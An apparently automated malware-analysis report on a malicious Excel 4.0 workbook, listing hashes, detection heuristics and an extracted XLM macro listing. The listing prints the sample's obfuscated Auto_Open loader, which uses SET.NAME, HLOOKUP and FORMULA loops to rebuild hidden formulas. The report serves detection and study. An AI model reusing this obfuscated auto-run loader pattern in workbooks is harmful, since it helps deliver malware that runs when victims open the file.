Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6dff082f718c1441…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:16 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: bdeb5afef3684285fac3b96ab3145080 SHA-1: 6c03c75642e157053f795a9fad3b1df9e2d594f7 SHA-256: 6dff082f718c1441dfdac1376d863332c26c6188f3c8081e576d0d6c3f7e0b27
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6571 bytes
SHA-256: 1006a8f8910658f558fdf1e0be58242b990889ded8e170698315c985dd58fa1b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wdCSlqYSR
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D164 
' 0018     25 LABEL : Cell Value, String Constant - BRnqhErIWU len=0 
' 0018     21 LABEL : Cell Value, String Constant - cGgzMz len=0 
' 0018     21 LABEL : Cell Value, String Constant - eitpFP len=0 
' 0018     27 LABEL : Cell Value, String Constant - eLPHgEzmnCjs len=0 
' 0018     27 LABEL : Cell Value, String Constant - eTOpnjcaHBNT len=0 
' 0018     21 LABEL : Cell Value, String Constant - GSlsPC len=0 
' 0018     24 LABEL : Cell Value, String Constant - inOGpqVYI len=0 
' 0018     27 LABEL : Cell Value, String Constant - JoJVWkoGzzEt len=0 
' 0018     21 LABEL : Cell Value, String Constant - mBwVyq len=0 
' 0018     27 LABEL : Cell Value, String Constant - QLOLGVYnOdni len=0 
' 0018     23 LABEL : Cell Value, String Constant - ukjWLdDO len=0 
' 0018     27 LABEL : Cell Value, String Constant - VJpDJmNdlCCB len=0 
' 0018     21 LABEL : Cell Value, String Constant - wqvDNn len=0 
' 0018     20 LABEL : Cell Value, String Constant - XBOQN len=0 
' 0018     21 LABEL : Cell Value, String Constant - XlShbu len=0 
' 0018     20 LABEL : Cell Value, String Constant - Yskzx len=0 
' 0018     25 LABEL : Cell Value, String Constant - zJKXHiULCk len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZMwHipV len=0 
' 0018     22 LABEL : Cell Value, String Constant - zobUxSl len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZZiVs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wdCSlqYSR,D86,"SET.NAME("ZMwHipV",VALUE("0"))",""
'  wdCSlqYSR,D88,"SET.NAME("JoJVWkoGzzEt",ZMwHipV)",""
'  wdCSlqYSR,D93,"SET.NAME("ZZiVs",ZMwHipV)",""
'  wdCSlqYSR,D97,"SET.NAME("cGgzMz",COUNTA(zobUxSl))",""
'  wdCSlqYSR,D102,"SET.NAME("XBOQN",COUNTA(BRnqhErIWU))",""
'  wdCSlqYSR,D105,[],""
'  wdCSlqYSR,D107,"SET.NAME("inOGpqVYI","")",""
'  wdCSlqYSR,D109,"JoJVWkoGzzEt",""
'  wdCSlqYSR,D114,"SET.NAME("zJKXHiULCk",HLOOKUP("*",zobUxSl,JoJVWkoGzzEt,FALSE))",""
'  wdCSlqYSR,D116,"eLPHgEzmnCjs",""
'  wdCSlqYSR,D118,"SET.NAME("GSlsPC",ZMwHipV)",""
'  wdCSlqYSR,D120,[],""
'  wdCSlqYSR,D122,"GSlsPC",""
'  wdCSlqYSR,D125,"ukjWLdDO",""
'  wdCSlqYSR,D127,"wqvDNn",""
'  wdCSlqYSR,D130,"QLOLGVYnOdni",""
'  wdCSlqYSR,D132,"SET.NAME("Yskzx",VALUE(HLOOKUP("*",BRnqhErIWU,QLOLGVYnOdni,FALSE)))",""
'  wdCSlqYSR,D135,"mBwVyq",""
'  wdCSlqYSR,D140,"inOGpqVYI",""
'  wdCSlqYSR,D143,"ZZiVs",""
'  wdCSlqYSR,D146,NEXT(),""
'  wdCSlqYSR,D148,"VJpDJmNdlCCB",""
'  wdCSlqYSR,D150,"SET.NAME("f",INT(T(FORMULA(T(inOGpqVYI)&"",""&T(VJpDJmNdlCCB)))))",""
'  wdCSlqYSR,D154,"eTOpnjcaHBNT",""
'  wdCSlqYSR,D157,NEXT(),""
'  wdCSlqYSR,D162,RETURN(),""
'  wdCSlqYSR,D187,"SET.NAME("eitpFP",D86)",""
'  wdCSlqYSR,D190,"zobUxSl",""
'  wdCSlqYSR,D193,"SET.NAME("BRnqhErIWU",R62C13)",""
'  wdCSlqYSR,D195,"SET.NAME("eTOpnjcaHBNT",202)",""
'  wdCSlqYSR,D198,"SET.NAME("XlShbu",4)",""
'  wdCSlqYSR,D201,eitpFP(),""
'  wdCSlqYSR,D202,HALT(),""